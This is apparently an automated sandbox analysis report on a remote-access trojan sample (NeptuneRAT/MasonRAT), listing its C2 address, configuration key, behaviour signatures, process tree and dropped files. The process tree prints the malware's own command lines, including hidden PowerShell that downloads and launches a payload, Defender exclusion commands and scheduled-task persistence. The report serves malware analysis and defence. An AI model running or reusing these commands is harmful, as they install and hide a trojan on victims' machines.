Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • max time kernel
    37s
  • max time network
    42s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-it
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-itlocale:it-itos:windows10-ltsc_2021-x64systemwindows
  • submitted
    05/08/2026, 01:09

Errors

Reason
Machine shutdown

General

  • Target
    Bypassed.exe
  • Size 1.9MB
  • Sample260805-bh65navfra
  • SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • neptunerat

C2
  • 82.22.62.124:443

Attributes
  • filename

    MasonUSB.exe

  • group

    MasonGroup

  • key

    eacBkjvaIIlrNRCZ

  • rat_name

    MasonRAT

Signatures

  • Family: NeptuneRAT, MasonRAT

    NeptuneRAT aka MasonRAT is a trojan written in C#.

  • Detects NeptuneRAT stealer 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Drops file in System32 directory 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 8 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:596
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:520
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\System32\WUDFHost.exe
          "C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d807e9c6-9694-47b6-93b5-62c70ed346f7 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3c8dd1fc-8ed7-4409-902c-fbecdef4e2d6 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-25e9666d-42da-4406-a6b3-c9d47d6bbe28 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d98e819a-391b-4aab-ab27-803f8ab810b8 -LifetimeId:01bc0421-56ef-49ec-9ce9-96444c35b746 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
          1⤵
            PID:888
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:64
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:704
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:60
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1088
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1096
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                      1⤵
                        PID:1176
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                        1⤵
                        • Drops file in System32 directory
                        PID:1184
                        • C:\Windows\system32\taskhostw.exe
                          taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                          2⤵
                            PID:3140
                          • C:\Windows\svhost.exe
                            "C:\Windows\svhost.exe"
                            2⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2520
                            • C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe
                              "C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:3760
                            • C:\Windows\system32\SCHTASKS.exe
                              "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
                              3⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:4652
                            • C:\Windows\system32\SCHTASKS.exe
                              "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
                              3⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:1312
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                4⤵
                                  PID:5952
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4908
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  4⤵
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4888
                              • C:\Windows\System32\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
                                3⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:1224
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  4⤵
                                  • Suspicious use of SetWindowsHookEx
                                  PID:2460
                              • C:\Windows\System32\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
                                3⤵
                                  PID:5084
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF529.tmp.bat""
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:4176
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
                              1⤵
                                PID:1196
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                1⤵
                                  PID:1256
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                  1⤵
                                    PID:1304
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1464
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                      1⤵
                                        PID:1476
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                        1⤵
                                          PID:1488
                                          • C:\Windows\system32\sihost.exe
                                            sihost.exe
                                            2⤵
                                              PID:440
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                            1⤵
                                              PID:1516
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                              1⤵
                                                PID:1620
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                1⤵
                                                  PID:1664
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                  1⤵
                                                    PID:1680
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1764
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                      1⤵
                                                        PID:1824
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                        1⤵
                                                          PID:1844
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:1864
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                            1⤵
                                                              PID:1876
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                              1⤵
                                                                PID:1936
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                1⤵
                                                                  PID:1944
                                                                • C:\Windows\System32\spoolsv.exe
                                                                  C:\Windows\System32\spoolsv.exe
                                                                  1⤵
                                                                    PID:1408
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2116
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                                                      1⤵
                                                                        PID:2388
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                        1⤵
                                                                          PID:2532
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                            PID:2580
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                            1⤵
                                                                              PID:2624
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                              1⤵
                                                                                PID:2632
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                1⤵
                                                                                  PID:2692
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                  1⤵
                                                                                    PID:2740
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                    1⤵
                                                                                      PID:2792
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                      1⤵
                                                                                        PID:2800
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                        1⤵
                                                                                          PID:3116
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                          1⤵
                                                                                            PID:3188
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                            1⤵
                                                                                              PID:3352
                                                                                            • C:\Windows\Explorer.EXE
                                                                                              C:\Windows\Explorer.EXE
                                                                                              1⤵
                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:3372
                                                                                              • C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
                                                                                                2⤵
                                                                                                • Checks computer location settings
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2764
                                                                                                • C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe"
                                                                                                  3⤵
                                                                                                  • Checks computer location settings
                                                                                                  • Executes dropped EXE
                                                                                                  • Drops file in Windows directory
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2032
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
                                                                                                    4⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4880
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
                                                                                                    4⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3308
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3544
                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3816
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:4028
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:2164
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                      1⤵
                                                                                                        PID:4980
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:5020
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:2136
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                            1⤵
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:5028
                                                                                                          • C:\Windows\system32\SppExtComObj.exe
                                                                                                            C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:2176
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                              1⤵
                                                                                                                PID:2512
                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                1⤵
                                                                                                                  PID:1148
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                  1⤵
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:4000
                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                  1⤵
                                                                                                                    PID:3808
                                                                                                                  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                                                                                                                    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
                                                                                                                    1⤵
                                                                                                                      PID:1084
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                      1⤵
                                                                                                                        PID:4248
                                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:3316
                                                                                                                        • C:\Windows\svhost.exe
                                                                                                                          C:\Windows\svhost.exe
                                                                                                                          1⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1316
                                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe a746c1ec4d9a40bf0dba73a922ceedf0 TxH3BY9Wq0OfZcloMVqEzQ.0.1.0.0.0
                                                                                                                          1⤵
                                                                                                                          • Sets service image path in registry
                                                                                                                          PID:2472
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            2⤵
                                                                                                                              PID:5980
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                            1⤵
                                                                                                                              PID:3156
                                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                              1⤵
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:3528
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              1⤵
                                                                                                                                PID:6140
                                                                                                                              • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                1⤵
                                                                                                                                  PID:1032
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                                  1⤵
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:1800
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:5884
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:4832
                                                                                                                                • C:\Windows\system32\UsoClient.exe
                                                                                                                                  C:\Windows\system32\usoclient.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:1164
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                    C:\Users\Admin\AppData\Roaming\svhost.exe
                                                                                                                                    1⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:752
                                                                                                                                  • C:\Windows\System32\mousocoreworker.exe
                                                                                                                                    C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                                    1⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    • Enumerates system info in registry
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:2556

                                                                                                                                  Network

                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                        Replay Monitor

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                                                                                                                                        Downloads

                                                                                                                                        config.json

                                                                                                                                        • Path C:\ProgramData\Microsoft\Windows\OneSettings\config.json
                                                                                                                                        • Size 7KB
                                                                                                                                        • SHA256 6790aa10e7b288f470120372b75b32cd2d7462a52a4085d6001d881d8e52ad69
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                        powershell.exe.log

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                        • Size 3KB
                                                                                                                                        • SHA256 283fcf5700ba5ca59b6a7e248b8e862fc2423e28223f65e263cd7170c436db4d
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        svhost.exe.log

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svhost.exe.log
                                                                                                                                        • Size 1KB
                                                                                                                                        • SHA256 c91fa1a4668b73823007f1bd6b855b3fa48b3c8a1309aa3a13453546e2c47253
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        StartupProfileData-NonInteractive

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                        • Size 1KB
                                                                                                                                        • SHA256 d89bb2dec93a4df1dcbc075a27147421f89ca48d58b04c5c23cc7b734943c0d0
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        StartupProfileData-NonInteractive

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                        • Size 1KB
                                                                                                                                        • SHA256 fa4e6f767553ef69f2e71cf16c66a377f176b5479aa6ae6d7dc718463f7e302d
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        __PSScriptPolicyTest_jnsdn1rl.hp1.ps1

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnsdn1rl.hp1.ps1
                                                                                                                                        • Size 60B
                                                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe
                                                                                                                                        • Size 739KB
                                                                                                                                        • SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                        nya0z1nb.3yc.exe

                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe
                                                                                                                                        • Size 161KB
                                                                                                                                        • SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                        Schedule Work

                                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        Schedule Work

                                                                                                                                        • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                        memory/60-110-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/60-109-0x000001E34D1A0000-0x000001E34D1CB000-memory.dmp

                                                                                                                                        memory/64-98-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/64-97-0x00000211A2AD0000-0x00000211A2AFB000-memory.dmp

                                                                                                                                        memory/520-102-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/520-101-0x000001AF2CCE0000-0x000001AF2CD0B000-memory.dmp

                                                                                                                                        memory/596-84-0x000002029A710000-0x000002029A735000-memory.dmp

                                                                                                                                        memory/596-85-0x000002029AB00000-0x000002029AB2B000-memory.dmp

                                                                                                                                        memory/596-86-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/684-89-0x00000234B89A0000-0x00000234B89CB000-memory.dmp

                                                                                                                                        memory/684-90-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/704-105-0x0000017C6D570000-0x0000017C6D59B000-memory.dmp

                                                                                                                                        memory/704-106-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/888-94-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/888-93-0x0000023429540000-0x000002342956B000-memory.dmp

                                                                                                                                        memory/1088-113-0x000001A248E60000-0x000001A248E8B000-memory.dmp

                                                                                                                                        memory/1088-114-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1096-117-0x0000029A20BB0000-0x0000029A20BDB000-memory.dmp

                                                                                                                                        memory/1096-118-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1176-122-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1176-121-0x000001F1BB090000-0x000001F1BB0BB000-memory.dmp

                                                                                                                                        memory/1184-126-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1184-125-0x000001A28CC90000-0x000001A28CCBB000-memory.dmp

                                                                                                                                        memory/1196-130-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1196-129-0x000001F849B80000-0x000001F849BAB000-memory.dmp

                                                                                                                                        memory/1256-133-0x0000021D5CB60000-0x0000021D5CB8B000-memory.dmp

                                                                                                                                        memory/1256-134-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1304-137-0x0000024F41160000-0x0000024F4118B000-memory.dmp

                                                                                                                                        memory/1304-138-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1408-198-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1408-197-0x00000000016A0000-0x00000000016CB000-memory.dmp

                                                                                                                                        memory/1464-142-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1464-141-0x000002469D9A0000-0x000002469D9CB000-memory.dmp

                                                                                                                                        memory/1476-145-0x000002AA35190000-0x000002AA351BB000-memory.dmp

                                                                                                                                        memory/1476-146-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1488-149-0x000001B7E4E00000-0x000001B7E4E2B000-memory.dmp

                                                                                                                                        memory/1488-150-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1516-153-0x00000238CC490000-0x00000238CC4BB000-memory.dmp

                                                                                                                                        memory/1516-154-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1620-157-0x0000024F9E6B0000-0x0000024F9E6DB000-memory.dmp

                                                                                                                                        memory/1620-158-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1664-161-0x000001A2AF160000-0x000001A2AF18B000-memory.dmp

                                                                                                                                        memory/1664-162-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1680-165-0x000002CB26320000-0x000002CB2634B000-memory.dmp

                                                                                                                                        memory/1680-166-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1764-169-0x00000233CC6A0000-0x00000233CC6CB000-memory.dmp

                                                                                                                                        memory/1764-170-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1824-174-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

                                                                                                                                        memory/1824-173-0x000001FEE3B60000-0x000001FEE3B8B000-memory.dmp

                                                                                                                                        memory/1844-178-0x00007FF7FCB30000-0x00007FF7FCB40000-memory.dmp

